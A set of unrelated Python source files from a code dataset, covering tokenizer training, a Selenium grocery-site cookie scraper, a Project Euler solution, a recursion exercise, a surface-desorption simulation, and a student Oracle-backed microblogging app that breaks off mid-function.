--model_type=%s --max_sentence_length=%s'\n ' --pad_id=0 --pad_piece=[PAD]'\n ' --unk_id=1 --unk_piece=[UNK]'\n ' --bos_id=2 --bos_piece=[BOS]'\n ' --eos_id=3 --eos_piece=[EOS]' \n ' --user_defined_symbols=[CLS]' % (\n input, model_prefix, vocab_size, model_type, max_sentence_length))\n\n vocab_list = pd.read_csv('%s.vocab' % model_prefix, sep='\\t', header=None, quoting=csv.QUOTE_NONE)\n print(vocab_list[:10])\n\n sp = spm.SentencePieceProcessor()\n vocab_file = \"%s.model\" % model_prefix\n sp.load(vocab_file)\n\n lines = [\n '나는 안녕하세요 1+1 이벤트 진행 중이다, 가격 1300원이야.',\n \"t 값이 15,021원입니다.\"\n ]\n for line in lines:\n line = sp.IdToPiece(2) + line + sp.IdToPiece(3)\n print(line)\n print(sp.encode_as_pieces(line))\n print(sp.encode_as_ids(line))\n print()\n print(sp.IdToPiece(5))\n print(sp.piece_to_id('[BOS]'))\n","sub_path":"make_custom_sentencepiece_tokenizer.py","file_name":"make_custom_sentencepiece_tokenizer.py","file_ext":"py","file_size_in_byte":1556,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"643282909","text":"#IMPORT AND CERTIFY FIREBASE\n\n\n #MAINSCRIPTS\n #SELENIUM\nfrom selenium import webdriver\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.common.keys import Keys\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support.expected_conditions import presence_of_element_located\nfrom selenium.webdriver.common.desired_capabilities import DesiredCapabilities\n\n #TIME\nimport time\nimport datetime\n #JSON\nimport json\n #MULTIPROCESSING\nimport multiprocessing\nfrom functools import partial\n\n\n\n #SELENIUM/BROWSER DRIVER SETUP // RETURN BROWSER DRIVER // FUNCTION\ndef selenium_setup():\n #DEFINE CHROME CAPABILITIES TO WAIT FOR PAGE TO BE INTERACTIVE INSTEAD OF FULL LOAD\n chrome_capabilities = DesiredCapabilities().CHROME\n chrome_capabilities[\"pageLoadStrategy\"] = \"eager\"\n #DEFINE CHROME OPTIONS\n chrome_options = webdriver.ChromeOptions()\n user_agent ='Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36'\n chrome_options.add_argument(f'user-agent={user_agent}')\n chrome_options.add_argument(\"--lang=en-US,en;q=.9\")\n chrome_options.add_experimental_option(\"prefs\", {\"profile.managed_default_content_settings.images\": 2})\n chrome_options.add_argument(\"--disable-gpu\")\n chrome_options.add_argument(\"--headless\")\n chrome_options.add_argument(\"start-maximized\")\n chrome_options.add_argument(\"disable-infobars\")\n chrome_options.add_argument(\"--incognito\")\n chrome_options.add_experimental_option('excludeSwitches', ['enable-automation']) \n chrome_options.add_experimental_option('useAutomationExtension', False)\n #SET SELENIUM CHROME DRIVER CAPABILITIES/OPTIONS/PATH HERE\n browser_driver = webdriver.Chrome(desired_capabilities=chrome_capabilities, options=chrome_options, executable_path=r'C:\\Users\\Mason\\Desktop\\DeliverMeScraper\\chromedriver.exe')\n #RETURN BROWSER\n return browser_driver\n\n #RUN SELENIUM/BROWSER // RETURN SELENIUM SESSION COOKIES // FUNCTION\ndef run_selenium_browser(current_zip_code, current_city, browser_driver, url):\n #proxy.new_har(\"peapod\")\n #LOAD PEAPOD\n browser_driver.get(url)\n #FIND INITIAL ZIP CODE ELEMENTS\n zip_entry = browser_driver.find_element_by_xpath('/html/body/div[2]/div/div/div/div/main/div/div/section[3]/div[2]/zipcode-entry/div/form/div[2]/div/label/div[1]/input')\n submit_button = browser_driver.find_element_by_xpath('/html/body/div[2]/div/div/div/div/main/div/div/section[3]/div[2]/zipcode-entry/div/form/div[2]/div/label/div[2]/button')\n #SEND INITIAL ZIP CODE INPUTS\n zip_entry.send_keys(current_zip_code)\n submit_button.click()\n #PAUSE FOR .5 SECONDS TO ENSURE OPTIONS FOR CITIES LOAD\n time.sleep(.5)\n #CHECK FOR CITIES INPUT\n try:\n #CLICK CITY DROP DOWN FOR CITY OPTIONS\n cities_entry_first_click = browser_driver.find_element_by_css_selector('#main-content > div > section.gateway-page_body-content-wrapper.gateway-page_body-content-wrapper--no-margin > div.gateway-body-content_login-wrapper.gateway-body-content_login-wrapper--rounded-corners > zipcode-entry > div > form > div.gateway-login_single-field-wrapper > div.trailer--double > label > div > div.select-field > select')\n cities_entry_first_click.click()\n #CYCLE THROUGH DROP DOWN MENU CITY OPTIONS FOR CORRECT CITY\n for cities_entry_second_click in cities_entry_first_click.find_elements_by_tag_name('option'):\n if current_city in cities_entry_second_click.text:\n cities_entry_second_click.click()\n break\n #CLICK SUBMIT TO SEND CITY SELECTION\n cities_entry_third_click = browser_driver.find_element_by_css_selector('#main-content > div > section.gateway-page_body-content-wrapper.gateway-page_body-content-wrapper--no-margin > div.gateway-body-content_login-wrapper.gateway-body-content_login-wrapper--rounded-corners > zipcode-entry > div > form > div.gateway-login_single-field-wrapper > div.button-container > div.button-container_control.button-container_control--no-outer-spacing.omega > button')\n cities_entry_third_click.click() \n except:\n pass\n #GRAB SELENIUM SESSION COOKIES / PAUSE FOR .5 SECONDS TO ENSURE GUEST COOKIES LOAD \n time.sleep(.5)\n selenium_cookies = browser_driver.get_cookies()\n #QUIT SELENIUM BROWSER / RETURN SELENIUM COOKIES\n #print(proxy.har)\n #server.stop()\n browser_driver.quit()\n return selenium_cookies\n\n #RUN AUTOMATED SELENIUM BROWSER TO GET GUEST SESSION COOKIES // RETURNS SELENIUM SESSION COOKIES // FUNCTION\ndef get_selenium_cookies(Account_Database):\n #CORRECTLY TRANSLATE/UNPACK MULTOPROCESSING ITERATED ACCOUNT DATABSE\n if (Account_Database[0].isdigit() == True):\n current_zip_code = Account_Database[0]\n current_city = Account_Database[1]\n else:\n current_zip_code = Account_Database[1]\n current_city = Account_Database[0]\n #DEFINE TARGET URL\n url = 'https://www.peapod.com'\n #EXECUTE BROWSER SETUP\n browser_driver = selenium_setup() \n #EXECUTE SELENIUM BROWSER\n selenium_cookies = run_selenium_browser(current_zip_code, current_city, browser_driver, url)\n #RETURN SELENIUM COOKIES\n return selenium_cookies\n\n #RUN AUTO BROWSER //// GET ACCOUNT INFO TO CHECK FOR AVAILABILITY -> OPEN BROWSER AND INPUT DATA TO CREATE GUEST SESSION COOKIES -> RETURN SELENIUM GUEST SESSION SELENIUM COOKIES //// FUNCTION\ndef run_auto_browser(Account_Database):\n start_time = time.time()\n print(\"\")\n #RUN PARALLEL PROCESS FOR EACH UNIQUE ZIP/CITY COMBO AND STORE SELENIUM COOKIES\n with multiprocessing.Pool(processes=len(Account_Database)) as pool:\n all_selenium_guest_session_cookies = pool.map(get_selenium_cookies, Account_Database)\n end_time = time.time()\n print(\"Selenium runtime: \" + str(end_time - start_time))\n #RETURN ALL SELENIUM GUEST SESSION COOKIES\n return all_selenium_guest_session_cookies\n\n\n\ndef create_Account_Database_Array_Function(number_Of_Accounts,values):\n width, height = 2, number_Of_Accounts\n account_Database_Array = [[0 for x in range(width)] for y in range(height)] \n n = 0\n for key in values:\n user_zip_code = values.get(key)['zip']\n user_city = values.get(key)['city']\n\n account_Database_Array[n][0] = user_zip_code\n account_Database_Array[n][1] = user_city\n n = n+1\n return account_Database_Array\n\n\n #Main function\ndef MainScout2(dataArray):\n\n\n all_selenium_guest_session_cookies = run_auto_browser(dataArray)\n return all_selenium_guest_session_cookies\n\n\n\n\n\n","sub_path":"MainScriptsUpdated/MainScout2.py","file_name":"MainScout2.py","file_ext":"py","file_size_in_byte":6716,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"341974873","text":"#id47.py\n\nfrom p_factor import factorization\n\ndef ID47():\n numbers = [2, 3, 4, 5]\n while True:\n flen = [len(factorization(x)) for x in numbers]\n if flen == [4, 4, 4, 4]:\n return numbers[0]\n else:\n numbers = [i + 1 for i in numbers]\n\nif __name__ == '__main__':\n print(ID47())\n","sub_path":"python files/id47.py","file_name":"id47.py","file_ext":"py","file_size_in_byte":327,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"582401222","text":"def menu():\n print(\"Bienvenido, ingrese\\n1-Factorial\\n2-Multiplicación\\n\")\n valor = int(input())\n\n if valor == 1:\n print(\"Ingresa un numero: \")\n num = int(input())\n print(\"El numero factorial de:\", num, \"es:\", facto(num))\n elif valor == 2:\n print(\"Ingrese el valor inicial a multiplicar: \")\n num2 = int(input())\n print(\"Ingresa el numero a multiplicar: \")\n num3 = int(input())\n num4 = num2 * num3\n multi(num2, num3, num4)\n print(multi(num2, num3, num4))\n\ndef facto(num : int):\n if num == 1:\n return 1\n return num * facto(num - 1)\n\ndef multi(num2 : int, num3 : int, num4 : int):\n if num2 == num4:\n return num2\n else:\n num2 = num2 + num3\n return multi(num2, num3, num4)\n \n\nmenu()\n\n\n","sub_path":"Parcial 3/RecurMulti/RecurMulti/RecurMulti.py","file_name":"RecurMulti.py","file_ext":"py","file_size_in_byte":806,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"472448110","text":"#!/usr/bin/env python\n\n\"\"\"\nPass arguments not in list if only solving a 1d system\n\"\"\"\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom scipy.integrate import odeint\n\nfull_output = 1\n\n#Define function to be integrated\ndef f(y,t,params):\n thetaO, thetaO2 = y\n A, E1a, E_1a, E2a, beta, kb = params\n derivs = [1/beta*(-2*A*np.e**(-E1a/kb/t)*thetaO**2 + \\\n 2*A*np.e**(-E_1a/kb/t)*thetaO2),\n\n 1/beta*(A*np.e**(-E1a/kb/t)*thetaO**2 - \\\n A*np.e**(-E_1a/kb/t)*thetaO2 - A*np.e**(-E2a/kb/t)*thetaO2),\n ]\n return derivs\n\n#Parameters\nA = 10.**13 #Attempt frequency 1/s\nE1a = 0.25 #O2cc->2Oc barrier in eV\nE_1a = 1.0 #2Oc->O2cc barrier in eV\nE2a = 2 #1.27 #Desorption barrier of 2Oc\nbeta = 1. # Temperature ramp rate, K/s\nkb = 8.617*10**-5 #Boltzmann cst, eV/K\nNs = 5*10**14 #Sites/cm2\n\n#Initial Values\nthetaO2_0 = 0.2 #Initial coverage of stranded O2\nthetaO_0 = 0.8\n\n#Bundle Parameters for ODE solver\nparams = [A,E1a,E_1a,E2a,beta,kb]\n\n#Bundle initial conditions for ODE solver\ny0 = [thetaO_0,thetaO2_0]\n\n#Make indep variable array for solution\ntStop = 600.\ntInc=1.\nt= np.arange(10.,tStop,tInc)\n\n#Call the ODE Solver\npsoln = odeint(f, y0, t, args=(params,))\n\n#Differentiate to get dtheta/dT and get absiscca of t\nd=-np.diff(psoln.T)/np.diff(t)\ntd = (t[1:]+t[:-1])/2.\n\n#Calculate Desorption rate\nrd=[]\nfor thetaO2,T in zip(psoln[:,0],t):\n rate = Ns*thetaO2*A*np.e**(-E2a/kb/T)\n rd.append(rate)\n\n#Plot results\nfig = plt.figure(1,figsize=(8,8))\n\n#Plot theta as a function of Temp\nax1 = fig.add_subplot(311)\nax1.plot(t, psoln[:,1])\nax1.set_xlabel('Temp')\nax1.set_ylabel('theta')\n\n#Plot -dtheta/dT as a function of Temp\nax2 = fig.add_subplot(312)\nax2.plot(td, d.T[:,1])\nax2.set_xlabel('Temp')\nax2.set_ylabel('dtheta/dT')\n\n#Plot rate as a function of Temp\nax3 = fig.add_subplot(313)\nax3.plot(t, rd)\nax3.set_xlabel('Temp')\nax3.set_ylabel('desorption rate')\n\nplt.show()\n\n","sub_path":"TPD/RuO2_2O.py","file_name":"RuO2_2O.py","file_ext":"py","file_size_in_byte":1999,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"118781248","text":"import cx_Oracle\nimport sys\nimport random\nimport datetime\nimport time\nimport getpass\n\n# Connects to the database and returns the connection object\n# Uses a file named \"connection.txt\" where the first line\n# is the username and the second line is the password\n# to log into oracle\ndef getConnection():\n\tusername = input(\"Please enter the username to connect to the Oracle database: \")\n\tpassword = getpass.getpass(\"Please enter the password to connect to the Oracle database: \")\n\ttry:\n\t\treturn cx_Oracle.connect(username, password, \"gwynne.cs.ualberta.ca:1521/CRS\")\n\texcept cx_Oracle.DatabaseError as exc:\n\t\terror = exc.args\n\t\tprint(sys.stderr, \"Oracle code:\", error.code)\n\t\tprint(sys.stderr, \"Oracle message:\", error.message)\n\t\tsys.exit()\n\n# Asks the user if they want to login, create an account, or exit\n# and call login(), createAccount(), or exit() appropriatly\n# Returns a tuple (a, b) where A is a boolean representing\n# whether a new account was created or not, and B is the users user_id\ndef displayLoginOrCreate(connection):\n\twhile (True):\n\t\tinp = input(\"Type 'login' to login, 'create' to create an account, or 'exit' to exit: \")\n\t\tif inp == \"exit\":\n\t\t\tconnection.close()\n\t\t\tsys.exit()\n\t\telif inp == \"login\":\n\t\t\tuser_id = login(connection)\n\t\t\tif (user_id == False):\n\t\t\t\tprint(\"Invalid user id/password.\")\n\t\t\telse:\n\t\t\t\tprint(\"Successfully logged in.\")\n\t\t\t\treturn (False, user_id)\n\t\telif inp == \"create\":\n\t\t\tuser_id = createAccount(connection)\n\t\t\tconnection.commit()\n\t\t\tprint(\"Successfully created an account and logged in.\")\n\t\t\treturn (True, user_id)\n\t\telse:\n\t\t\tprint(\"Unrecognized input, please try again.\")\n\n# Trys to log in using a user id and password\n# On success returns the user id, else returns false\ndef login(connection):\n\twhile (True):\n\t\tuser_id = input(\"Please input your user id: \")\n\t\ttry:\n\t\t\tuser_id = int(user_id)\n\t\t\tbreak\n\t\texcept ValueError:\n\t\t\tprint(\"User id must be an integer.\")\n\tuser_password = input(\"Please input your password: \")\n\tcurs = connection.cursor()\n\tcurs.prepare(\"select * from users where usr = :id and trim(pwd) = :password\")\n\tcurs.execute(None, {'id':user_id, 'password':user_password})\n\tif curs.fetchone():\n\t\tcurs.close()\n\t\treturn user_id\n\telse:\n\t\tcurs.close()\n\t\treturn False\n\n# Creates a new account and returns the user id given by the system\ndef createAccount(connection):\n\tuser_name = \"\"\n\tuser_email = \"\"\n\tuser_city = \"\"\n\tuser_timezone = 0\n\tuser_password = \"\"\n\tuser_id = random.randrange(-2147483648, 2147483647) #-2^31 to (2^31)-1\n\twhile (True):\n\t\tuser_name = input(\"Please input a name: \")\n\t\tif len(user_name) > 20:\n\t\t\tprint(\"Maximum length of name is 20.\")\n\t\telse:\n\t\t\tbreak\n\twhile (True):\n\t\tuser_email = input(\"Please enter an email: \")\n\t\tif len(user_email) > 15:\n\t\t\tprint(\"Maximum length of email is 15.\")\n\t\telse:\n\t\t\tbreak\n\twhile (True):\n\t\tuser_city = input(\"Please enter a city: \")\n\t\tif len(user_city) > 12:\n\t\t\tprint(\"Maximum length of city is 12.\")\n\t\telse:\n\t\t\tbreak\n\twhile (True):\n\t\tuser_timezone = input(\"Please enter a timezone: \")\n\t\ttry:\n\t\t\tuser_timezone = float(user_timezone)\n\t\t\tbreak\n\t\texcept ValueError:\n\t\t\tprint(\"Timezone must be a float.\")\n\twhile (True):\n\t\tuser_password = input(\"Please enter a password: \")\n\t\tif len(user_password) > 4:\n\t\t\tprint(\"Maximum length of password is 4.\")\n\t\telse:\n\t\t\tbreak\n\n\t# Check that the user id is unique\n\twhile (True):\n\t\tcurs = connection.cursor()\n\t\tcurs.prepare(\"select * from users where usr = :id\")\n\t\tcurs.execute(None, {'id':user_id})\n\t\tif curs.fetchone():\n\t\t\tuser_id = random.randrange(-2147483648, 2147483647)\n\t\t\tcurs.close()\n\t\telse:\n\t\t\tprint(\"User id is: \", user_id)\n\t\t\tcurs.close()\n\t\t\tbreak\n\n\tcurs = connection.cursor()\n\tcurs.prepare(\"insert into users values (:id, :pwd, :name, :email, :city, :timezone)\")\n\tcurs.execute(None, {'id':user_id, 'pwd':user_password, 'name':user_name, 'email':user_email, 'city':user_city, 'timezone':user_timezone})\n\tcurs.close()\n\tconnection.commit()\n\treturn user_id\n\n# Displays all tweets and retweets from users that user_id follows\n# Also asks the user if they want to see more information about a tweet\ndef displayTweetsAndRetweets(connection, user_id):\n\trows = getTweetsFromFollowedUsers(connection, user_id)\n\tif len(rows) > 0:\n\t\tprint()\n\t\tprint(\"Tweets/retweets from the users you follow:\")\n\t\ti = 1\n\t\tindices = []\n\t\twhile (True):\n\t\t\tindices.append(i)\n\t\t\tprint(str(i) + \" (\" + str(rows[i-1][0]) + \", \" + str(rows[i-1][1]) + \", \" + str(rows[i-1][2]) + \", \" + str(rows[i-1][3]).strip() + \", \" + str(rows[i-1][4]) + \")\")\n\n\t\t\t# Either 5 tweets/retweets have been printed or we have reached the end of the tweets/retweets\n\t\t\tif ((i%5) == 0) or (len(rows) == i):\n\t\t\t\tprint()\n\t\t\t\tinp = \"\"\n\t\t\t\twhile (True):\n\t\t\t\t\t# Check if we have reached the end of the tweets/retweets\n\t\t\t\t\tif len(rows) == i:\n\t\t\t\t\t\t# Check if a full 5 tweets/retweets were printed\n\t\t\t\t\t\tif (i%5) == 0:\n\t\t\t\t\t\t\tinp = input(\"Type numbers %s-%s to view more information about the tweet, \"\n\t\t\t\t\t\t\t\"or 'skip' to skip viewing the tweets: \" % ((i-4), i))\n\t\t\t\t\t\t# Check if only a single tweet/retweet was printed\n\t\t\t\t\t\telif (i%5) == 1:\n\t\t\t\t\t\t\tinp = input(\"Type number %s to view more information about the tweet, \"\n\t\t\t\t\t\t\t\"or 'skip' to skip viewing the tweets: \" % (i))\n\t\t\t\t\t\t# Either 2, 3, or 4 tweets/retweets were printed\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\tinp = input(\"Type numbers %s-%s to view more information about the tweet, \"\n\t\t\t\t\t\t\t\"or 'skip' to skip viewing the tweets: \" % ((i-(i%5) + 1), i))\n\n\t\t\t\t\t\t# Check if the input is an int representing 1 of the tweets/retweets\n\t\t\t\t\t\ttry:\n\t\t\t\t\t\t\tif int(inp) in indices:\n\t\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\texcept:\n\t\t\t\t\t\t\tpass\n\t\t\t\t\t\tif inp == \"skip\":\n\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\tprint(\"Unrecognized input, please try again.\")\n\n\t\t\t\t\t# There are still more tweets/retweets to display so offer to display the next ones aswell\n\t\t\t\t\telse:\n\t\t\t\t\t\tinp = input(\"Type numbers %s-%s to view more information about the tweet, \"\n\t\t\t\t\t\t\"'more' to view the next 5 tweets, or 'skip' to skip viewing the tweets: \" % ((i-4), i))\n\n\t\t\t\t\t\t# Check if the input is an int representing 1 of the tweets/retweets\n\t\t\t\t\t\ttry:\n\t\t\t\t\t\t\tif int(inp) in indices:\n\t\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\texcept:\n\t\t\t\t\t\t\tpass\n\t\t\t\t\t\tif inp == \"skip\" or inp == \"more\":\n\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\tprint(\"Unrecognized input, please try again.\")\n\t\t\t\tif inp == \"skip\":\n\t\t\t\t\tbreak\n\t\t\t\telif inp == \"more\":\n\t\t\t\t\tindices = []\n\t\t\t\t\tprint()\n\t\t\t\t# A tweet was selected\n\t\t\t\telse:\n\t\t\t\t\tdisplayTweetStats(connection, user_id, rows[int(inp)-1][0])\n\t\t\t\t\tindices = []\n\t\t\t\t\tif i%5 == 0:\n\t\t\t\t\t\ti = i-5\n\t\t\t\t\telse:\n\t\t\t\t\t\ti = i - (i%5)\n\t\t\ti = i + 1\n\telse:\n\t\tprint(\"No tweets/retweets from users you follow.\")\n\n# Returns all tweets/retweets from users that the logged in user follows\ndef getTweetsFromFollowedUsers(connection, user_id):\n\tcurs = connection.cursor()\n\tcurs.prepare(\"select * from \"\n\t\t\t\t\"((select t.tid, t.writer, t.tdate, t.text, t.replyto \"\n\t\t\t\t\"from follows f, tweets t \"\n\t\t\t\t\"where f.flwer = :id and t.writer = f.flwee) \"\n\t\t\t\t\"union (select t.tid, t.usr as writer, t.rdate as tdate, ot.text, ot.replyto \"\n\t\t\t\t\"from follows f, retweets t, tweets ot \"\n\t\t\t\t\"where f.flwer = :id and t.usr = f.flwee and t.tid = ot.tid)) \"\n\t\t\t\t\"order by tdate desc\")\n\tcurs.execute(None, {'id':user_id})\n\trows = curs.fetchall()\n\tcurs.close()\n\treturn rows\n\n# Displays the tweet stats and asks the user if he wants to reply or retweet\ndef displayTweetStats(connection, user_id, tweet_id):\n\tstats = getTweetStats(connection, tweet_id)\n\tprint()\n\tprint(\"(\" + str(stats[0]) + \", \" + str(stats[1]) + \", \" + str(stats[2]) + \", \" + str(stats[3]).strip() + \", \" + str(stats[4]) + \", \" + str(stats[5]) + \", \" + str(stats[6]) + \")\")\n\tprint()\n\n\tinp = \"\"\n\twhile(True):\n\t\tinp = input(\"Type 'reply' to reply to the tweet, 'retweet' to retweet the tweet, \"\n\t\t\"or 'back' to return to the last screen: \")\n\t\tif inp != \"reply\" and inp != \"retweet\" and inp != \"back\":\n\t\t\tprint(\"Unrecoginzed input, please try again\")\n\t\telse:\n\t\t\tbreak\n\tif inp == \"reply\":\n\t\tdisplayComposeTweet(connection, user_id, tweet_id)\n\telif inp == \"retweet\":\n\t\tretweet(connection, user_id, tweet_id)\n\n# Returns the number of retweets and replies for the tweet\ndef getTweetStats(connection, tweet_id):\n\tcurs = connection.cursor()\n\tcurs.prepare(\"select tid, writer, tdate, text, replyto, (select nvl(count(*), 0) from tweets where replyto = :tid1) as num_tweets, \"\n\t\t\"(select nvl(count(*), 0) from retweets where tid = :tid2) as num_retweets from tweets where tid = :tid3\")\n\tcurs.execute(None, {'tid1':tweet_id, 'tid2':tweet_id, 'tid3':tweet_id})\n\trow = curs.fetchone()\n\tcurs.close()\n\treturn row\n\n# Return the followers that the selected user followed\ndef searchAllFollowers(connection, user_id):\n\n\tcurs = connection.cursor()\n\tcurs.prepare(\"select flwer,flwee,start_date,name from follows, users \"\n\t\t\t\t\"where flwee = :usr and usr = flwer\")\n\tcurs.execute(None, {'usr':user_id})\n\trows = curs.fetchall()\n\tcurs.close()\n\treturn rows\n\n#returning to follwing status, that is, when you select a user, you can follow this user\n#each user can only be follwed by once.\n#once followed the user, the comman should be: \"successfully followed\"\ndef followUsers(connection,flwee,user_id):\n\t#user_id = searchAllFollowers(connection,user_id)\n\n\tcurs = connection.cursor()\n\tcurs.prepare(\"select * from follows where (flwer = :flwer and flwee =:flwee)\")\n\tcurs.execute(None, {'flwer':user_id, 'flwee':flwee})\n\trows = curs.fetchall()\n\tif ( len(rows) > 0) :\n\t\tprint( \"you have already followed this user\")\n\telse :\n\t\tcurs.prepare(\"insert into follows values (:flwer, :flwee, :start_date)\")\n\t\tcurs.execute(None, {'flwer':user_id, 'flwee':flwee, 'start_date':time.strftime(\"%d-%b-%Y\")})\n\t\tprint(\"Successfully followed\")\n\tconnection.commit()\n\tcurs.close()\n\n#the list followers function. when typing in the termial\"search followers\", it should be a list of followers\n#that following the user you logged in. Once you select a follower,you can see informations about the user,\n#and also have the option to follow this user.\ndef displayAllFollowers(connection,user_id):\n\n\trows = searchAllFollowers(connection,user_id)\n\n\tif len(rows) > 0:\n\t\tprint(\"Followers list,please choose:\")\n\t\ti = 1\n\t\tindices = []\n\t\twhile (True):\n\t\t\tindices.append(i)\n\t\t\tprint(i, rows[i-1])\n\n\t\t\t# Either 5 Followers have been printed or we have reached the end of the users\n\t\t\tif ((i%5) == 0) or (len(rows) == i):\n\t\t\t\tinp = \"\"\n\t\t\t\twhile (True):\n\t\t\t\t\t# Check if we have reached the end of the followers\n\t\t\t\t\tif len(rows) == i:\n\t\t\t\t\t\t# Check if a full 5 followers were printed\n\t\t\t\t\t\tif (i%5) == 0:\n\t\t\t\t\t\t\tinp = input(\"Type numbers %s-%s to view more information about the follower, \"\n\t\t\t\t\t\t\t\"or 'skip' to skip viewing the follower: \" % ((i-4), i))\n\t\t\t\t\t\t# Check if only a single follower was printed\n\t\t\t\t\t\telif (i%5) == 1:\n\t\t\t\t\t\t\tinp = input(\"Type number %s to view more information about the follower, \"\n\t\t\t\t\t\t\t\"or 'skip' to skip viewing the follower: \" % (i))\n\t\t\t\t\t\t# Either 2, 3, or 4 follower were printed\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\tinp = input(\"Type numbers %s-%s to view more information about the follower, \"\n\t\t\t\t\t\t\t\"or 'skip' to skip viewing the follower: \" % ((i-(i%5)+1), i))\n\n\t\t\t\t\t\t# Check if the input is an int representing 1 of the follower\n\t\t\t\t\t\ttry:\n\t\t\t\t\t\t\tif int(inp) in indices:\n\t\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\texcept:\n\t\t\t\t\t\t\tpass\n\t\t\t\t\t\tif inp == \"skip\" :\n\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\tprint(\"Unrecognized input, please try again.\")\n\n\t\t\t\t\t# There are still more follower to display so offer to display the next ones aswell\n\t\t\t\t\telse:\n\t\t\t\t\t\tinp = input(\"Type numbers %s-%s to view more information about the follower, \"\n\t\t\t\t\t\t\"'more' to view the next 5 user, or 'skip' to skip viewing the follower: \" % ((i-4), i))\n\n\t\t\t\t\t\t# Check if the input is an int representing 1 of the follower\n\t\t\t\t\t\ttry:\n\t\t\t\t\t\t\tif int(inp) in indices:\n\t\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\texcept:\n\t\t\t\t\t\t\tpass\n\t\t\t\t\t\tif inp == \"skip\" or inp == \"more\":\n\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\tprint(\"Unrecognized input, please try again.\")\n\t\t\t\tif inp == \"skip\":\n\t\t\t\t\tbreak\n\t\t\t\telif inp == \"more\":\n\t\t\t\t\tindices = []\n\t\t\t\t#elif inp == \"follow\":\n\t\t\t\t#\tfollowUsers(connection, rows[i-1][1],user_id)\n\t\t\t\t#\tbreak\n\t\t\t\t# A user was selected\n\t\t\t\telse:\n\t\t\t\t\tdisplayUserStats(connection, rows[int(inp)-1][0],user_id)\n\t\t\t\t\tindices = []\n\t\t\t\t\tif i%5 == 0:\n\t\t\t\t\t\ti = i-5\n\t\t\t\t\telse:\n\t\t\t\t\t\ti = i - (i%5)\n\t\t\ti = i + 1\n\telse:\n\t\tprint(\"No Follower .\")\n\n# Gets the tweet text from the user for a new tweet\ndef displayComposeTweet(connection, user_id, replyto):\n\ttext = \"\"\n\thashtags = []\n\twhile(True):\n\t\ttext = input(\"Enter the text of your tweet: \")\n\t\ttextGood = True\n\t\thashtags = getHashtags(text)\n\t\tfor hashtag in hashtags:\n\t\t\tif len(hashtag) > 10:\n\t\t\t\tprint(\"Maximum length of a hashtag is 10 characters, please try again.\")\n\t\t\t\ttextGood = False\n\t\tif len(hashtags) > len(set(hashtags)):\n\t\t\tprint(\"You can only use a hashtag once in a single tweet, please try again.\")\n\t\t\ttextGood = False\n\t\tif len(text) > 80:\n\t\t\tprint(\"Maximum length of tweet text is 80 characters, please try again.\")\n\t\t\ttextGood = False\n\t\tif textGood:\n\t\t\tbreak\n\tcomposeTweet(connection, user_id, text, replyto, hashtags)\n\n# Creates a new tweet and adds the hashtags to the hashtag and mentions tables\ndef composeTweet(connection, user_id, text, replyto, hashtags):\n\t# Get a tweet id and check that it is unique\n\ttid = random.randrange(-2147483648, 2147483647) #-2^31 to (2^31)-1\n\twhile (True):\n\t\tcurs = connection.cursor()\n\t\tcurs.prepare(\"select * from tweets where tid = :tid\")\n\t\tcurs.execute(None, {'tid':tid})\n\t\tif curs.fetchone():\n\t\t\ttid = random.randrange(-2147483648, 2147483647)\n\t\telse:\n\t\t\tcurs.close()\n\t\t\tbreak\n\n\t# Insert the tweet into the tweets table\n\tcurs = connection.cursor()\n\tcurs.prepare(\"insert into tweets values (:tid, :writer, :tdate, :text, :replyto)\")\n\tcurs.execute(None, {'tid':tid, 'writer':user_id, 'tdate':datetime.datetime.now(), 'text':text, 'replyto':replyto})\n\tconnection.commit()\n\tcurs.close()\n\n\t# Add the hashtags to the mentions and hashtag tables\n\tfor hashtag in hashtags:\n\t\tcurs = connection.cursor()\n\t\tcurs.prepare(\"select * from hashtags where trim(term) = :htag\")\n\t\tcurs.execute(None, {'htag':hashtag})\n\t\trow = curs.fetchone()\n\t\tif not (row):\n\t\t\t# This is a new hashtag to add it to the hashtag table\n\t\t\tcurs2 = connection.cursor()\n\t\t\tcurs2.prepare(\"insert into hashtags values (:term)\")\n\t\t\tcurs2.execute(None, {'term':hashtag})\n\t\t\tconnection.commit()\n\t\t\tcurs2.close()\n\t\tcurs.close()\n\n\t\t# Add the hashtag to the mentions table\n\t\tcurs = connection.cursor()\n\t\tcurs.prepare(\"insert into mentions values (:tid, :term)\")\n\t\tcurs.execute(None, {'tid':tid, 'term':hashtag})\n\t\tconnection.commit()\n\t\tcurs.close()\n\n\tprint(\"Successfully tweeted\")\n\n# Gets all the hashtags from a string\ndef getHashtags(str):\n\tstrs = str.split()\n\thashtags = []\n\tfor st in strs:\n\t\tif st[0] == '#' and len(st) > 1:\n\t\t\tif st[1:] not in hashtags:\n\t\t\t\thashtags.append(st[1:])\n\treturn hashtags\n\n# Creates a new retweet\ndef retweet(connection, user_id, tweet_id):\n\tcurs = connection.cursor()\n\tcurs.prepare(\"select * from retweets where tid = :tid and usr = :id\")\n\tcurs.execute(None, {'tid':tweet_id, 'id':user_id})\n\n\tif curs.fetchone():\n\t\tprint(\"You cannot retweet a tweet more than once.\")\n\t\tcurs.close()\n\t\treturn\n\tcurs.close()\n\n\tcurs = 